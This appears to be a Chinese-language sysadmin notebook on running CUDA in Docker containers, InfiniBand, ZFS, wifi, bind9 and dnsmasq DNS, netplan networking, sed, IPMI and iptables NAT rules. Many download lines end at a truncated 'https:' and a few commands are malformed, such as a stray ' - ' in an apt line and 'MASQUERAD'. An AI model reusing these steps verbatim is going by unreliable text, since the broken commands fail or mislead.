根据环境变量 NVIDIA_VISIBLE_DEVICES 判断是否会分配GPU设备,调用 nvidia-container-cli
将Nvidia 驱动库的so文件 和 GPU设备信息, 通过文件挂载的方式映射到容器中。
mount |grep nvidia-smi
命令介绍:
run:必要的设备和驱动会自动挂载。
build:同理,可以使用nvidia-smi,等同于--runtime=nvidia
CUDA对应的NVIDIA驱动版本
不同的cuda版本对应不同的NVIDIA驱动版本
查看cuda版本:
nvcc --version
cat /usr/local/cuda/version.txt
更新:
sudo apt --purge remove "cublas*" "cuda*"
sudo apt --purge remove libcudnn7 libcudnn7-dev libnccl2 # 卸载避免冲突
wget https:
sudo dpkg -i cuda-repo-ubuntu1804_10.0.130-1_amd64.deb # cuda-repo-<distro>_<version>_<architecture>.deb
sudo apt update
sudo apt-cache showpkg cuda | grep 10.1
sudo apt -y install cuda=10.1.243-1 - cuda-10-1
或
wget https:
sudo dpkg -i nvidia-machine-learning-repo-ubuntu1804_1.0.0-1_amd64.deb
sudo apt update
sudo apt install libcudnn7-dev=7.6.3.30-1+cuda10.1 libcudnn7=7.6.3.30-1+cuda10.1 libnccl2=2.5.6-1+cuda10.1
代理版:
wget https:
sudo mv cuda-ubuntu1804.pin /etc/apt/preferences.d/cuda-repository-pin-600
sudo apt-key adv --fetch-keys https:
apt install software-properties-common
sudo add-apt-repository "deb https://mirrors.aliyun.com/nvidia-cuda/ubuntu1804/x86_64/ /" # "deb http://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/ /"
sudo apt-get update
sudo apt-get -y install cuda
# 问题:往往会安装最新版本的driver驱动,导致nvidia-smi使用不了
方法二(推荐):
sed -i 's|https\?://[^/]\+/|http://mirrors.aliyun.com/|' /etc/apt/sources.list && apt-get update
apt-get install -y libxml2 libstdc++6 gcc module-init-tools
下载cuda_10.1.243_418.87.00_linux.run,sh执行,只勾选cuda-tool即可,下载页面:https:
sh cuda_10.1.243_418.87.00_linux.run --toolkit --silent
wget http:
wget https:
wget http:
注意对driver版本的要求
https:
export PATH=/usr/local/cuda/bin:$PATH
export LD_LIBRARY_PATH=/usr/local/cuda/lib64
识别不了的原因:
关键启动环境变量:ENV CUDA_VERSION=10.1.243
影响调度的环境变量:NVIDIA_VISIBLE_DEVICES,建议设置
不能设置的变量:NVIDIA_REQUIRE_CUDA
方法三:
conda安装:
conda install cudatoolkit=10.1
cudnn
目前为止安装后找不到nvcc,torch识别不了
方法四:
可以参考dockerhub上的cuda镜像的dockerfile
里面安装了cuda-compat-10-1等一堆cuda的package
dpkg -i |grep cuda查看官方镜像安装的所有依赖,然后自己手动安装
sed -i 's|https\?://[^/]\+/|http://mirrors.aliyun.com/|' /etc/apt/sources.list && apt-get update
apt-key adv --fetch-keys https:
apt install software-properties-common
add-apt-repository "deb https://mirrors.aliyun.com/nvidia-cuda/ubuntu1804/x86_64/ /"
for i in cuda-compiler-10-1 cuda-cudart-10-1 cuda-cudart-dev-10-1 cuda-cufft-10-1 cuda-cufft-dev-10-1 cuda-cuobjdump-10-1 cuda-cupti-10-1 cuda-curand-10-1
cuda-curand-dev-10-1 cuda-cusolver-10-1 cuda-cusolver-dev-10-1 cuda-cusparse-10-1 cuda-cusparse-dev-10-1 cuda-driver-dev-10-1 cuda-gdb-10-1 cuda-gpu-library-advisor-10-1
cuda-libraries-10-1 cuda-libraries-dev-10-1 cuda-license-10-1 cuda-memcheck-10-1 cuda-minimal-build-10-1 cuda-misc-headers-10-1 cuda-npp-10-1 cuda-npp-dev-10-1
cuda-nvcc-10-1 cuda-nvdisasm-10-1 cuda-nvgraph-10-1 cuda-nvgraph-dev-10-1 cuda-nvjpeg-10-1 cuda-nvjpeg-dev-10-1 cuda-nvprof-10-1 cuda-nvml-dev-10-1 cuda-nvprune-10-1
cuda-nvrtc-10-1 cuda-nvrtc-dev-10-1 cuda-nvtx-10-1 cuda-sanitizer-api-10-1;do apt install $i=10.1.243-1;done
多gpu卡之间通信用的
wget https:
wget https:
关键:
需要设置启动的环境变量
FROM d15f7164655
ENV CUDA_VERSION=10.1.243
ENV CUDA_PKG_VERSION=10-1=10.1.243-1
ENV LD_LIBRARY_PATH=/usr/local/nvidia/lib:/usr/local/nvidia/lib64
ENV NVIDIA_VISIBLE_DEVICES=all
ENV NVIDIA_DRIVER_CAPABILITIES=compute,utility
ENV NVIDIA_REQUIRE_CUDA=cuda>=10.1 brand=tesla,driver>=396,driver<397 brand=tesla,driver>=410,driver<411 brand=tesla,driver>=418,driver<419
ENV NCCL_VERSION=2.7.8
ENV NCCL_VERSION=2.7.8
ENV LIBRARY_PATH=/usr/local/cuda/lib64/stubs
方法五:
使用官方cuda镜像为基础,这个再安装pytorch、tensorflow等工具是可以使用gpu的
测试;
python3 -c "import torch;print(torch.cuda.is_available())"
python3 -c "import torch;print(torch.cuda.device_count())"
python3 -c "import tensorflow as tf;print(tf.test.is_gpu_available())"
tensorflow框架可能会出现版本不对应导致使用不了的情况:failed call to cuInit: CUDA_ERROR_SYSTEM_DRIVER_MISMATCH: system has unsupported display driver / cuda driver combination
1.容器内link的是容器内的driver版本的so文件,手动更改版本后出现failed call to cuInit: CUDA_ERROR_UNKNOWN: unknown error
2.想安装低版本driver发现识别不了smi,docker run模型提示failed call to cuInit: CUDA_ERROR_NO_DEVICE: no CUDA-capable device is detected
可能需要用新版本的框架,低版本用不了
import torch.utils.cpp_extension
torch.utils.cpp_extension.CUDA_HOME
问题:
1.docker exporter虽然可以减小体积,但会导致torch.cuda.is_available()返回false
用save即可
可能与丢失了ENV环境变量有关
2.容器内使用smi显示的cuda版本与nvcc的版本不一致
原因:
CUDA 有两种API,分别是 运行时 API 和 驱动API,即所谓的 Runtime API 与 Driver API。
nvidia-smi显示的是CUDA Driver API是依赖于 NVIDIA 驱动 安装的,而nvcc --version显示的CUDA Runtime API 是通过CUDA toolkit 安装的。
此外,python3 -c "import torch;print(torch.version.cuda)"并不一定是 Pytorch 在实际系统上运行时使用的 cuda 版本,而是编译该 Pytorch release 版本时使用的 cuda 版本。
3.dockerhub上的cuda:10.1镜像安装pytorch、tensorflow后能正常使用gpu,而手动安装cuda的镜像则用不了。两者都存在/usr/local/cuda-10.1/和/usr/local/cuda软链
原因:
cuda:10.1镜像还在/usr/lib/x86_64-linux-gnu/目录下存在几个so文件,比如libcuda.so.440.33.01、libcuda.so.1等,手动移除后也不能检测gpu了。
ls /usr/lib/x86_64-linux-gnu/libcuda* -la
几个so文件的关系:
libcuda.so -> libcuda.so.1
libcuda.so.1 -> libcuda.so.440.33.01
libcuda.so.440.33.01
libcuda.so.418.165.02 # 如果host和容器的cuda版本不对,会优先link到host的版本
注意的是,这几个文件都是nvidia runtime帮忙从/usr/local/cuda-10.1/compat/以及host的本地复制到容器内/usr/lib/x86_64-linux-gnu/下的
验证:
docker run --runtime=runc -it --rm nvidia/cuda:10.1-devel-ubuntu18.04 bash
解决:
如果镜像run前没有安装cuda,那么安装完cuda后保存一下镜像,然后再次启动。
4.安装cuda10.1版本报错,而10.2版本则可以
5.tensorflow等框架能识别gpu,但提示Could not create cudnn handle: CUDNN_STATUS_INTERNAL_ERROR
场景:
host上的cuda版本11.1,高于镜像内的10.1
解决:
from tensorflow.compat.v1 import ConfigProto
from tensorflow.compat.v1 import InteractiveSession
config = ConfigProto()
config.gpu_options.allow_growth = True
session = InteractiveSession(config=config)
解决2:
安装对应版本的driver
解决3:
export TF_FORCE_GPU_ALLOW_GROWTH=true
freenas连接:
iso启动盘安装后,登录网页设置
https://jingyan.baidu.com/article/0bc808fcbb47125bd485b9c7.html
起nfs即可
InfiniBand卡
驱动下载:
http://eg-server.cn.tnas.link/tos/index.php?share/file&user=%E6%9D%8E%E5%A0%82&sid=HmOolfKF
检查主机是否安装了HCA:
apt-get install pciutils
lspci -v | grep Mellanox
驱动安装:
mount -o ro,loop MLNX_OFED_LINUX-2.1-1.0.0-rhel6.4-x86_64.iso /mnt
./mlnxofedinstall
缺少依赖的话,freenas不是linux系统,不能使用apt和yum
查看driver
lsmod | grep ib
modprobe ib_ipoib ib_umad
启动服务(不一定有该服务,只要内核模块加载就行)(安装OFED驱动才有)
1、service openibd start
2、systemctl enable openibd.service
3、service opensmd start
4、systemctl enable opensmd.service
查看HCA端口状态,若State为Active,则表示正常
ibstat
重启网络接口ib0
ifconfig ib0 10.200.0.5/24
ifdown ib0
ifup ib0
ifconfig ib0
实际的使用方式和IPv4基本没有区别,如果想要集群之间通过IB通信只需要用IPoIB的地址就行。
docker方式:
下载驱动,安装,然后挂载设备
开机自动配置:
/etc/network/interfaces
auto ens33
iface ens33 inet static
address 192.168.0.111
netmask 255.255.255.0
gateway 192.168.0.1
gcc驱动:
find / -name "libstdc++.so.*"
strings /usr/lib/x86_64-linux-gnu/libstdc++.so.6 | grep CXXABI
ln -s libstdc++.so.6.0.22 libstdc++.so.6
时区设置
apt-get install systemd
timedatectl set-timezone UTC
timedatectl status (容器内无法使用)
查看谁发的SIGKILL信号
安装很简单:sudo apt-get install auditd
启动服务并查看状态: service auditd start & service auditd status
然后通过auditctrl添加规则: auditctl -a exit,always -F arch=b64 -S kill -F a1=9
搜索ausearch -sc kill
ZFS工具使用:
安装:
sudo apt-get install zfsutils-linux
使用:
sudo zpool status
sudo zpool create -f xxx /dev/sdb /dev/sdc /dev/sdd
sudo zpool list
sudo zfs set mountpoint=/var/wwwfiles
sudo zfs set sharenfs="rw=@192.168.11.0/24" pool-name
sudo zpool add pool-name /dev/sdx
sudo zpool destroy pool-name
zpool add tank log ada3
zpool add tank log mirror ada3 ada4
zpool add tank cache ada3
连接wifi
apt install wireless-tools
iwconfig
ifconfig wlp5s0 up
iwlist wlp5s0 scan | grep ESSID
apt install wpasupplicant
wpa_passphrase your-ESSID your-wifi-passphrase | sudo tee /etc/wpa_supplicant.conf
wpa_supplicant -c /etc/wpa_supplicant.conf -i wlp5s0
wpa_supplicant -B -c /etc/wpa_supplicant.conf -i wlp5s0
dhclient wlp5s0
ip addr show wlp5s0
dhclient wlp5s0 -r
开机启动和固定ip查看https://www.linuxbabe.com/ubuntu/connect-to-wi-fi-from-terminal-on-ubuntu-18-04-19-04-with-wpa-supplicant
/etc/dhcp/dhclient.conf
固定的ip需要
路由器lan设置-静态地址分配(主要作用?)
dhclient设置好config
然后重试几次,才行(可能缓存,而通过dhclient wlp4s0立刻即可访问)
开机启动:
sudo cp /lib/systemd/system/wpa_supplicant.service /etc/systemd/system/wpa_supplicant.service
sudo nano /etc/systemd/system/wpa_supplicant.service
sudo systemctl enable wpa_supplicant.service
sudo nano /etc/systemd/system/dhclient.service
sudo systemctl enable dhclient.service
通过wifi登录卡
kubelet占用网络多
域名解析:
指定server来解析dns:
dig @10.96.0.10 www.baidu.com
nslookup www.baidu.com 10.96.0.10
k8s集群的coredns无法正常解析内网的dns域名问题
依赖于host 127.0.0.53的systemd-resolved解析
对于centos系统,可能没启动这个服务,本地没有监听127.0.0.53
netstat -tul|grep 53
对于欧拉的centos,如何启动dns解析服务
systemctl start systemd-resolved
systemctl enable systemd-resolved
关于raw.githubusercontent.com在ubuntu解析为0.0.0.0:
1.查看/etc/hosts没有定义
2.发现dig @114.114.114.114解析正常,使用127.0.0.53则解析错误
3.ubuntu基于公司的路由器,登录路由器发现wan设置的首选DNS服务器为电信的202.96.134.133,怀疑是电信手动墙了,改为114.114.114.114后解析正常
关于/etc/hosts和/etc/resolv.conf的关系
/etc/hosts里面的条目要想生效,/etc/resolv.conf的nameserver要用127.0.0.53 或者dig @127.0.0.53
本地的dns解析进程systemd-resolved运行用户是systemd+,要确保systemd+有权限访问到/etc/hosts才行,否则条目不起效
nslookup与ping:
nslookup(选项)(参数)
选项 -sil:不显示任何警告信息。
参数 域名:指定要查询域名。
包含authoritative answer与Non-authoritative answer,authoritative answer是DNS服务器返回的,Non-authoritative answer则是返回上次缓存的
ping命令用来测试主机之间网络的连通性。执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,
因而得知该主机运作正常。
使用ICMP(Internet Control Message Protocol)协议,而不是tcp或udp,没有端口
有时候会返回Non-authoritative answer,从local DNS的cache获取到的结果
数据库一般禁止掉ping,原因是
设置:
临时禁止PING的命令为:echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all(0允许)
永久禁止PING配置方法:/etc/sysctl.conf 中增加一行 net.ipv4.icmp_echo_ignore_all=1(0允许) 修改完成后执行sysctl -p使新配置生效。
防火墙禁止;iptables -A INPUT -p icmp
允许: iptables -A INPUT -p icmp
iptables -A OUTPUT -p icmp
内网dns服务器搭建:
内置的system-resolved:
配置:
systemd-resolve
默认配置通过netplan的yaml文件来配置上游dns的
默认配置位置:/run/systemd/resolve/resolv.conf,dhclient或netplan生成。
使用:
默认/etc/resolv.conf -> ../run/systemd/resolve/stub-resolv.conf由system-resolved维护
可以手动更改ln -s /run/systemd/resolve/resolv.conf /etc/resolv.conf
https:
https:
docker镜像方式:
1.docker pull andyshinn/dnsmasq
2.创建 域名映射ip文件 和 dns文件,用来挂载到容器中
3.运行
docker run -d \
-p 192.168.1.102:53:53/tcp -p 192.168.1.102:53:53/udp \
-v /home/wilker/Desktop/a_dns/my_dnsmasq_hosts:/etc/my_dnsmasq_hosts \
-v /home/wilker/Desktop/a_dns/my_resolv.dnsmasq:/etc/my_resolv.dnsmasq \
--cap-add=NET_ADMIN --name my_dns_server andyshinn/dnsmasq
4.docker exec -it my_dns_server /bin/sh
修改容器内文件vi /etc/dnsmasq.conf
addn-hosts=/etc/my_dnsmasq_hosts
resolv-file=/etc/my_resolv.dnsmasq
5.重启
docker restart my_dns_server
6.配置路由设置
host宿主机利用bind9方式:
apt install bind9
配置项:
/etc/bind/named.conf.options: global DNS options
/etc/bind/named.conf.local: for your zones
/etc/bind/named.conf.default-zones: default zones such as localhost, its reverse, and the root hints
修改/etc/bind/named.conf.options文件:
forwarders {
8.8.8.8;
114.114.114.114;
};
dnssec-validation no;
如果需要添加自定义解析,修改/etc/bind/named.conf.local文件:
zone "example.com" {
type master;
file "/etc/bind/db.example.com";
};
zone "1.168.192.in-addr.arpa" {
type master;
file "/etc/bind/db.192";
};
cp /etc/bind/db.local /etc/bind/db.example.com
cp /etc/bind/db.127 /etc/bind/db.192
配置/etc/bind/db.example.com:
;
; BIND data file for example.com
;
$TTL 604800
@ IN SOA example.com. root.example.com. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
@ IN NS ns.example.com.
@ IN A 192.168.1.10
@ IN AAAA ::1
ns IN A 192.168.1.10
配置/etc/bind/db.192文件:
;
; BIND reverse data file for local 192.168.1.XXX net
;
$TTL 604800
@ IN SOA ns.example.com. root.example.com. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns.
10 IN PTR ns.example.com.
重启服务systemctl restart bind9.service
bind服务可以通过本机器的所有网络接口的ip进行访问,比如192.168.1.187和10.31.3.131这个ip都可以
ss -tnl|grep 53查询:
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 10 10.8.0.1:53 0.0.0.0:*
LISTEN 0 10 172.19.0.1:53 0.0.0.0:*
LISTEN 0 10 172.26.0.1:53 0.0.0.0:*
LISTEN 0 10 172.17.0.1:53 0.0.0.0:*
LISTEN 0 10 172.18.0.1:53 0.0.0.0:*
LISTEN 0 10 192.168.122.1:53 0.0.0.0:*
LISTEN 0 10 10.31.3.131:53 0.0.0.0:*
LISTEN 0 10 192.168.1.187:53 0.0.0.0:*
LISTEN 0 10 127.0.0.1:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:953 0.0.0.0:*
检测配置是否正确,比如点好是否写上:
named-checkzone example.com /etc/bind/db.example.com
named-checkzone 1.168.192.in-addr.arpa /etc/bind/db.192
允许recursion查询:
acl "trusted" {
192.168.1.0/24;
10.8.0.0/24;
127.0.0.1/32;
::1/128;
};
options {
...
recursion yes;
allow-recursion { trusted; };
}
参考:
@指zone的name,example.com,可以通过$ORIGIN uk.example.com.改写@
CNAME记录:对A记录的重命名,必须指向A记录
MX记录: 定义往哪发送邮件,必须指向A记录,而不是CNAME记录
bind9部署二级dns服务(高可用):
参考:https://ubuntu.com/server/docs/service-domain-name-service-dns,主要作用是当Primary不可用时,Secondary继续提供解析服务
在Primary server上修改配置/etc/bind/named.conf.local,然后重启
zone "example.com" {
type master;
file "/etc/bind/db.example.com";
allow-transfer { 192.168.1.11; };
};
在Secondary server上安装bind9,配置/etc/bind/named.conf.local,然后启动即可
zone "example.com" {
type slave;
file "db.example.com";
masters { 192.168.1.10; };
};
注意:
1.只会当Primary的Serial数字大于Secondary时候才会传递zone.
2.zone改变时自动同步到Secondary
配置到/etc/bind/named.conf.local:
zone "example.com" {
type master;
file "/etc/bind/db.example.com";
allow-transfer { 192.168.1.11; };
also-notify { 192.168.1.11; };
};
如何修改本机dns:
Ubuntu 16.04 及之前版本 配置静态IP sudo vim /etc/network/interfaces
auto eth0
iface eth0 inet static
address 192.168.11.88
netmask 255.255.255.0
gateway 192.168.11.1
配置 DNS 服务器地址sudo vim /etc/resolv.conf 防止重启恢复vim /etc/resolvconf/resolv.conf.d/base
nameserver 127.0.0.1
nameserver 8.8.8.8
sudo /etc/init.d/networking restart
nmcli dev show
Ubuntu 18.04 采用 netplan 作为网络配置管理,与16.04及之前的版本区别很大去掉文件 /etc/network/interfaces 中的所有配置
修改配置文件:sudo vim /etc/netplan/50-cloud-init.yaml:
network:
ethernets:
eth0:
addresses:
- 192.168.1.100/24
gateway4: 192.168.1.1
nameservers:
addresses:
- 192.168.1.114
search:
- corp.xxx.com
version: 2
远程打开浏览器:
编辑/etc/ssh/sshd_config
X11Forwarding yes
X11DisplayOffset 10
X11UseLocalhost yes
登录ssh
ssh -X
查看状态:
echo $DISPLAY
本地打开远程的浏览器:
firefox
sed调度
参数介绍
p 打印 示例sed -n "1,3p" sed_test.txt sed -n "3,+2p" sed_test.txt sed -n "2p;4,10p" sed_test.txt
d 删除
s 用一个字符串替换另一个字符串
g 在行内进行全局替换
i 替换时不区分大小写
a 新增, a 的后面可以接字串,而这些字串会在新的一行出现(目前的下一行)~
c :取代, c 的后面可以接字串,这些字串可以取代 n1,n2 之间的行!
选项介绍
-i[suffix] 修改文件 sed "s/ps-0.*/ps-0/g" -i txt
-n 或--quiet或--silent 仅显示script处理后的结果。
用法:
使用管道符|
nl /etc/passwd | sed '3,$d'
使用文件:
sed -n "1,3p" sed_test.txt
正则:
sed "s/\(value:\s\+\?'1'\)/value: '0'/g" cvat_backend.yaml
如果要匹配'',外面必须是"",这样的话就不能匹配\n
示例:
替换
仅对变量进行字符串替换的话,可以用
a=aabbcc
echo ${a/bb/23}
替换换行符:
sed ':a;N;$!ba;s/\n/ /g' cvat_backend.yaml
或sed -e ':a' -e 'N' -e '$!ba' -e 's/\n/ /g' cvat_backend.yaml
IPMI启动
启动内核模块
modprobe ipmi_si
modprobe ipmi_devintf
echo ipmi_si >> /etc/modprobe
echo ipmi_devintf >> /etc/modprobe
安装:
apt-get install ipmitool
使用:
ipmitool lan print
ipmitool lan print | grep "IP Address"
ipmitool lan print | grep "MAC Address"
设置ip:
ipmitool lan set 1 ipaddr 192.168.1.211
挂载:
需要ssh登录ibmc,像ibmc:
ipmcset -t vmm -d connect -v nfs://192.168.1.3/data/nfsshare/isountu-18.04.1-server-arm64.iso
查询局域网IP与MAC
sudo apt install nmap
nmap -sP 192.168.1.0/24
cat /proc/net/arp
下载gs开头文件
pip install gsutil
gsutil cp -R gs://archive-measurement-lab/utilization/ destination-directory
ubuntu系统安装到/home/dlwsadmin/.local/bin/gsutil目录下
生成jwt token:
jwt_header=$(echo -n '{"alg":"HS256","typ":"JWT"}' | base64 | sed s/\+/-/g | sed 's/\//_/g' | sed -E s/=+$//)
payload=$(echo -n '{"email":"jordan@example.com"}' | base64 | sed s/\+/-/g |sed 's/\//_/g' | sed -E s/=+$//)
secret=$'bigsecretisveryhardtoguessbysneakypeopleright\n'
hexsecret=$(echo -n "$secret" | xxd -p | paste -sd "")
hmac_signature=$(echo -n "${jwt_header}.${payload}" | openssl dgst -sha256 -mac HMAC -macopt hexkey:$hexsecret -binary | base64 | sed s/\+/-/g | sed 's/\//_/g' | sed -E s/=+$//)
jwt="${jwt_header}.${payload}.${hmac_signature}"
网络与IP:
重启网络
systemctl restart systemd-networkd
自动获取ip
dhclient eth1
dhclient eth1 -r
重启不能自动获取的问题
ifconfig设置ip与清理
ifconfig eth0 192.168.1.3/24
ifconfig eth0 0.0.0.0
开机执行dhclient:
/etc/rc.local
dhclient
exit 0
查看网口的网线连接状态:
ethtool eno1 查看speed
ethtool -p eno1 让网口闪烁
ethtool -t eno1 检测网口状态,返回结果,会造成外网映射的ssh掉线
ifconfig删除ipv6:
ifconfig eth0 inet6 del 2001:0db8:0:f101::1/64
ifconfig eth0 inet6 add 2001:0db8:0:f101::1/64
ip -6 addr add fdcd:55c4:4289::15e2/64 dev eno1
尝试可以用ping6 fdcd:55c4:4289::1018
设置静态IP(固定ip):
18.04 and 20.04设置
依赖:
apt install netplan.io networkmanager libproxy1-plugin-networkmanager
比较:
service systemd-networkd status
service network-manager status
/etc/netplan/50-cloud-init.yaml
network:
version: 2
renderer: networkd
ethernets:
ens33:
dhcp4: no
dhcp6: no
addresses: [192.168.1.55/24]
gateway4: 192.168.1.254
nameservers:
addresses: [114.114.114.114, 8.8.8.8]
netplan apply
16.04的设置:
source /etc/network/interfaces.d/*
auto lo
iface lo inet loopback
auto ens33
iface ens33 inet static
address 192.168.1.100
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
dns-nameservers 8.8.8.8 8.8.4.4
systemctl restart ifup@eth0
静态路由:
dhclient或netplay apply都会改变,目前没有比较好的固定方法
尝试过的方法:
eno1:
dhcp4: yes
dhcp4-overrides:
use-routes: false
ubuntu上抓包工具tcpdump:
tcpdump -D 获取网络适配器列表
tcpdump -i <需要监控的网络适配器编号>
tcpdump -i 2 host 172.16.86.111 and tcp port 443 监控IP地址为172.16.86.111上443端口的tcp协议
-X 显示数据包的内容
-X -s 0 自动设置长度使其能够显示所有数据
-X -s 0 -w aaa 捕获的数据太多,不断刷屏,可能需要将数据内容记录到文件里,需要使用-w参数
iptables规则:
开启与关闭:
service iptables start
service iptables stop
流程:
规则:根据指定的匹配条件来尝试匹配每个流经此处的报文,一旦匹配成功,则由规则后面指定的处理动作进行处理;如果规则不做处理,会继续匹配直到明确处理。
匹配条件:
源地址Source IP,目标地址 Destination IP
源端口Source Port, 目标端口Destination Port
传输协议(如TCP、UDP、ICMP)
服务类型(如HTTP、FTP和SMTP)
还有其他扩展匹配条件
查看:
iptables -L
iptables -t filter -L 查看filter表
KUBE-SERVICES
iptables -L -v 查看报文计数器
查看某个ip相关
iptables-save | grep 10.104.30.154
设置:
格式:
tables command chain params target
iptables -t filter -A/D/I/R/L/F/Z/N/X/P INPUT/FORWARD/OUTPUT/PREROUTING/POSTROUTING -p/s/d/i/o/sport/dport -j ACCEPT/DROP/REJECT
写入:
iptables -I FORWARD -d 10.97.221.209/32 -p tcp -m comment --comment "default/helloworld-go-m9j7m-69c w5:http has no endpoints" -m tcp --dport 80 -j REJECT --reject-with icmp-port-unreachable
iptables -A
删除:
iptables -D 其他相同
iptables -D INPUT 1 删除INPUT第一条
target参数:
-j 选项指定rule的目标,目标可以是用户自定义链;内建目标;或扩展,常见如REJECT、ACCEPT、MASQUERADE、MARK(做标记)、RETURN(返回在自定义链执行完毕后使用返回,来返回原规则链)等
SNAT:源地址转换,解决内网用户用同一个公网地址上网的问题。
iptables-t nat -A POSTROUTING -s 10.8.0.0/255.255.255.0 -o eth0 -j SNAT --to-source192.168.5.3
在网关所在机器配置这个,使用该网关的其他局域网机器发出去的包才能回来,不然源ip还是10.8.0.0,包会丢失。一般用MASQUERADE
MASQUERADE:是SNAT的一种特殊形式,适用于动态的、临时会变的ip上。SNAT的一种
对于SNAT,不管是几个地址,必须明确的指定要SNAT的ip,假如当前系统用的是ADSL动态拨号方式,那么每次拨号,出口ip192.168.5.3都会改变,而且改变的幅度很大,
不一定是192.168.5.3到192.168.5.5范围内的地址,这个时候如果按照现在的方式来配置iptables就会出现问题了,因为每次拨号后,服务器地址都会变化,而iptables规则内的ip是不会随着自动变化的,
每次地址变化后都必须手工修改一次iptables,把规则里边的固定ip改成新的ip,这样是非常不好用的。
MASQUERADE就是针对这种场景而设计的,他的作用是,从服务器的网卡上,自动获取当前ip地址来做NAT。
不管现在eth0的出口获得了怎样的动态ip,MASQUERADE会自动读取eth0现在的ip地址然后做SNAT出去,这样就实现了很好的动态SNAT地址转换。
DNAT:目标地址转换,解决私网服务器端,接收公网请求的问题。
iptables -t nat -A PREROUTING -d 202.103.96.112 -j DNAT --to-destination 192.168.0.112
将到这台机器的ip的包的目标ip改为其他。可以加端口
REDIRECT:端口映射
-g 选项将规则重定向到一个用户自定义链中,与 -j 选项不同,从自定义链中返回时,是返回到调用 -g 选项上层的那一个 -j 链中继续往下执行
-m 扩展各种模块,如multiport多端口扩展,iprange模块,string正则匹配模块,time配置起作用时间模块,limit限速模块,connlimit连接数模块,tcp/udp模块,state模块,set(ip集合)模块
command参数:
-A 在指定链的末尾添加(append)一条新的规则
-D 删除(delete)指定链中的某一条规则,可以按规则序号和内容删除
-I 在指定链中插入(insert)一条新的规则,默认在第一行添加
-R 修改、替换(replace)指定链中的某一条规则,可以按规则序号和内容替换
-L 列出(list)指定链中所有的规则进行查看
-E 重命名用户定义的链,不改变链本身
-F 清空(flush)
-N 新建(new-chain)一条用户自己定义的规则链
-X 删除指定表中用户自定义的规则链(delete-chain)
-P 设置指定链的默认策略(policy)为xxx
-Z 将所有表的所有链的字节和数据包计数器清零
-n 使用数字形式(numeric)显示输出结果
-v 查看规则表详细信息(verbose)的信息
-V 查看版本(version)
-h 获取帮助(help)
params参数:
-p 协议
-i 接口
-o 出口网卡
默认链:
默认的表filter下面有INPUT、OUTPUT、FORWARD
nat表有PREROUTING、POSTROUTING、OUTPUT
iptables内置了4个表,即filter表、nat表、mangle表和raw表,分别用于实现包过滤,网络地址转换、包重构(修改)和数据跟踪处理。
Raw——mangle——nat——filter
链(chains)是数据包传播的路径,每一条链其实就是众多规则中的一个检查清单,每一条链中可以有一 条或数条规则。
当一个数据包到达一个链时,iptables就会从链中第一条规则开始检查,看该数据包是否满足规则所定义的条件。如果满足,系统就会根据 该条规则所定义的方法处理该数据包;
否则iptables将继续检查下一条规则,如果该数据包不符合链中任一条规则,iptables就会根据该链预先定 义的默认策略来处理数据包。
1.INPUT——进来的数据包应用此规则链中的策略
2.OUTPUT——外出的数据包应用此规则链中的策略
3.FORWARD——转发数据包时应用此规则链中的策
4.PREROUTING——对数据包作路由选择前应用此链中的规则(记住!所有的数据包进来的时侯都先由这个链处理),对应DNAT,路由到不同的局域网机器
5.POSTROUTING——对数据包作路由选择后应用此链中的规则(所有的数据包出来的时侯都先由这个链处理),对应SNAT,修改源ip
规则链之间的优先顺序
入站数据流向:PREROUTING -> INPUT 先被PREROUTING规则链处理(是否修改数据包地址等),之后会进行路由选择(判断该数据包应该发往何处),内核将其传给INPUT链进行处理,传到用户空间。
转发数据流向: PREROUTING -> FORWARD -> POSTROUTING PREROUTING先处理,FORWARD后先进行路由选择,再POSTROUTING
出站数据流向: OUTPUT -> POSTROUTING 先路由判断,再经过OUTPUT,再路由判断,最后POSTROUTING
与route的关系:
http://linux-ip.net/pages/diagrams.html
http://www.adminsehow.com/2011/09/iptables-packet-traverse-map/
示例:
kubernetes的10.96.0.1,先经过default route192.168.3.1出来后,经过OUTPUTT和POSTROUTING规则,DNAT为192.168.1.3,出口为192.168.3.1所在的interface,很明显流量回不来。
自定义链:
创建:
iptables -t filter -N IN_WEB
设置规则:
iptables -t filter -A IN_WEB -s 192.168.1.1 -j REJECT
使用:
iptables -A INPUT -p tcp --dport 80 -j IN_WEB
重命名:
iptables -E IN_WEB WEB
查看链:
iptables -nvL
删除:
删除引用,iptables -D INPUT -p tcp --dport 80 -j IN_WEB
iptables -t filter -F IN_WEB
iptables -X IN_WEB
示例:
1.外网端口映射:
本身就是公网ip的场景:
iptables -t nat -A PREROUTING -p tcp -d 182.138.104.63 --dport 10086 -j DNAT --to-destination 127.0.0.1:80
如果机器内转发,那么是输出nat:
iptables -t nat -A OUTPUT -d 192.168.1.222 -p tcp -m tcp --dport 8088 -j DNAT --to-destination 192.168.1.184:80
如果公网ip连着路由器,那么在路由器上设置(未有该设备,待验证):
iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j DNAT --to 192.168.1.2:8080或者iptables -t nat -A PREROUTING -p tcp -d 192.168.1.222 --dport 8088 -j DNAT --to-destination 192.168.1.184:80
iptables -A FORWARD -p tcp -d 192.168.1.2 --dport 8080 -j ACCEPT
iptables -t nat -A POSTROUTING -d 192.168.1.184 -p tcp -m tcp --dport 80 -j MASQUERAD
抓包看进来请求:
tcpdump -i eno2 tcp port 8088
对应规则流量
iptables -nvL -t nat查看对应chain
2.有两个网卡,访问某个site时走指定的网卡
方法1:
iptables -t nat -I POSTROUTING -s 192.168.1.0/24 -j MASQUERADE
iptables -t nat -A POSTROUTING -s 192.168.1.222 -d 140.82.0.0/16 -p tcp -m tcp --dport 443 -j SNAT --to-source 10.31.3.222
iptables -t nat -A PREROUTING -s 140.82.0.0/16 -p tcp -m tcp --sport 443 -j DNAT --to-destination 10.31.3.222
iptables -A FORWARD -s 192.168.1.222 -d 10.31.3.222 -j ACCEPT
